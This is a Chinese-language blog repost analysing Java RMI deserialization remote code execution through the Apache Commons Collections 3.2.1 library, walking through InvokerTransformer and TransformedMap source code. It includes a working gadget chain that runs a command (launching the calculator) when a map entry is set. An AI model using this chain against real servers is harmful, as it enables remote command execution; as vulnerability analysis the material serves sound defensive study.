https://blog.csdn.net/LeeHDsniper/article/details/71599504
Java RMI 一直只是知道,了解过,还是很迷,耐心看了一篇文章,了解了RMI究竟是什么(虽然都知道他是远程调用用到的) ,还有大致的利用思路。 因为没办法复制图片,后边的直接看上边的文章把。
----------------------------------------
背景
之前在某个项目的漏洞核查中,发现客户的某个服务器存在JAVA RMI反序列化远程命令执行漏洞,当时手头没有相应的利用工具,就在网上找了一个广为使用的ysoserial利用工具【Download】。但是使用过程中发现,这个工具不具有回显功能,用户服务器又是处于内网环境而且是windows机器,所以使用这个工具无法验证该漏洞是否存在。
另外,在其他项目中也发现,一些安装了weblogic中间件的服务器,如果在weblogic服务中启用了T3协议,且存在有缺陷的第三方库apache commons-collections,从而也存在反序列化引起的RCE漏洞(CVE-2015-4852)。
然后我决定对这个工具进行修改,在研究过程中,发现这个漏洞并不简单,从ysoserial这个工具的payload就可以看出来,虽然漏洞名称都是JAVA RMI反序列化漏洞,但是成因却不尽相同。
本文将对关于该漏洞的资料进行整合和分析,以及通过一些本地环境的搭建对漏洞进行复现,特别是针对常见的apache commons-collections第三方库存在的漏洞进行原因分析。
结尾有福利。
原理
RMI是REMOTE METHOD INVOCATION的简称,是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。一个RMI对象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。
RMI的传输100%基于反序列化。
首先,该漏洞存在需要两个条件:1.存在反序列化传输。2.存在有缺陷的第三方库如commons-collections
在《Java RMI远程反序列化任意类及远程代码执行解析(CVE-2017-3241 )》一文中,提到需要在服务器端的类路径中,存在一个名称公开已知的类,这个类需要实现java的Serializable接口,而且自己实现了一个readObject方法。显然,类似apache的commons-collections这样的第三方库的代码是开源的,我们很容易可以知道一个满足上述条件的类名。但是,这篇文章所描述的漏洞比我们所要讨论的范围更加广,是针对任意类的反序列化和RCE漏洞,而且漏洞成因不通,CVE-2017-3241漏洞出现的原因是java本身的原因(sun.rmi.server.UnicastRef类中),而我们所要研究的漏洞是第三方库有缺陷所造成的。
以commons-collections第三方库为例:
Both versions 3.2.1 and 4.0 of the Apache Commons Collections library have been identified as being vulnerable to this deserialization issue.
下载commons-collections的3.2.1版本源码进行研究【Download】,在InvokerTransformer类中(位于commons-collections-3.2.1-src\src\java\org\apache\commons\collections\functors),可以使用其中的transform方法通过反射执行参数对象中的某个方法。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
@SuppressWarnings({"rawtypes", "unchecked"})
public class test {
public static void main(String[] args) {
Transformer transform = new InvokerTransformer("append",
new Class[]{String.class},
new Object[]{"exploitcat?"});
Object newObject = transform.transform(new StringBuffer("your name is ")) ;
System.out.println(newObject);
}
}
在上述代码中,首先实例化了一个Transformer对象transform,InvokerTransformer类的构造函数如下:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
{
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
第一个参数append是方法名,第二个参数是参数类型,第三个参数是参数值。然后我们调用transform对象的transform方法,
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
这样,相当于我们执行了
StringBuilder a=new StringBuilder("your name is ");
a.append("exploitcat?");
输出为 your name is exploitcat?
这样,我们就需要commons-collections中存在一个调用了InvokerTransformer的transform方法的类,它就是TransformerMap。这个文件位于commons-collections-3.2.1-src\src\java\org\apache\commons\collections\map中,在该类中,实现了Serializable接口,有自己的readObject方法:
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
map = (Map) in.readObject();
}
另外,这个类中存在一个静态的方法decorate:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
这个方法返回一个TransformerMap对象:
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
利用一段示例代码来演示如何使用TransformerMap类来执行命令:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.Map;
import java.util.HashMap;
public class TransformTest {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers) ;
Map innerMap = new HashMap() ;
innerMap.put("name", "hello") ;
Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;
Map.Entry elEntry = (java.util.Map.Entry)outerMap.entrySet().iterator().next() ;
elEntry.setValue("hello") ;
}
}
首先,实例化一个Transformer数组,这个数组把我们要执行的代码分散到多个Transformer对象中,实际上就相当于:
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
然后把Transformer数组组合成为一个ChainedTransformer对象:
Transformer chain = new ChainedTransformer(transformers) ;
然后用TransformerMap的decorate函数来包装一个原生的Map对象innerMap:
Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;
在这行代码:elEntry.setValue("hello") ;中,首先执行outerMap的setValue方法,这个方法继承自MapEngry类(位于commons-collections-3.2.1-src\src\java\org\apache\commons\collections\map\AbstractInputCheckedMapDecorator.java),将会调用父类的方法:
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
然后调用将调用TransformerMap中的checkSetValue方法:
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
可以看到,在这里调用了transform方法来触发我们的代码。
如果运行这个程序,将会弹出计算器